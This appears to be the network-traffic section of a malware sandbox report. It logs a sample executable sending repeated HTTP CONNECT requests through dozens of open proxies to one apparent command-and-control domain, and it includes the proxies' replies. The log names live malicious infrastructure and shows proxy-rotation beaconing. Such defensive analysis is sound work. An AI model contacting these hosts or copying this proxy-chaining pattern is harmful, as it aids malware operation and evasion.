Mar 11, 2024 15:21:27.327205896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.325170040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:51.325136900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:15.324959993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.9	51328	8.217.143.187	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.324975967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.9	51163	117.160.250.163	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.339930058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.668888092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.532324076 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.9	51374	133.18.234.13	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.354824066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.211970091 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.9	50049	111.16.50.12	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.361372948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.274481058 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.9	51378	217.23.11.194	32708	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.390681982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.683392048 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.9	50602	130.162.243.68	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.412713051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.458677053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591267109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.678386927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.700380087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.9	51340	185.191.236.162	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.418241978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.200063944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.069128036 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:13.082041025 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.9	50707	66.228.33.190	44809	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.422378063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.434668064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.435209036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.434734106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.434520006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:39.435120106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:51.434360981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:15.434533119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:03.449975967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.9	51380	176.31.110.126	45517	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.423150063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.9	51346	173.249.29.243	9123	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.423222065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.200123072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.404339075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.879559994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.294820070 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3932 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.9	51382	43.133.74.172	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.435803890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.9	51327	47.91.65.23	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.438894987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.293874979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.343878031 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.9	51541	46.22.210.184	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.440284014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.9	51543	46.22.210.184	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.441991091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.9	51546	46.22.210.184	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.443525076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.9	51547	46.22.210.184	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.445092916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.9	50165	35.209.198.222	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.446599960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.723921061 CET	836	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:08 GMT Server: Apache/2.4.57 (Ubuntu) Content-Length: 644 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 6f 70 6f 72 74 65 74 69 40 63 6f 64 65 31 30 30 2e 63 6f 6d 2e 70 79 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at soporteti@code100.com.py to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.9	51419	104.25.234.81	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.448465109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.602658987 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.9	51351	46.209.54.110	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:03.448738098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.871702909 CET	19	IN	HTTP/1.1 200 OK
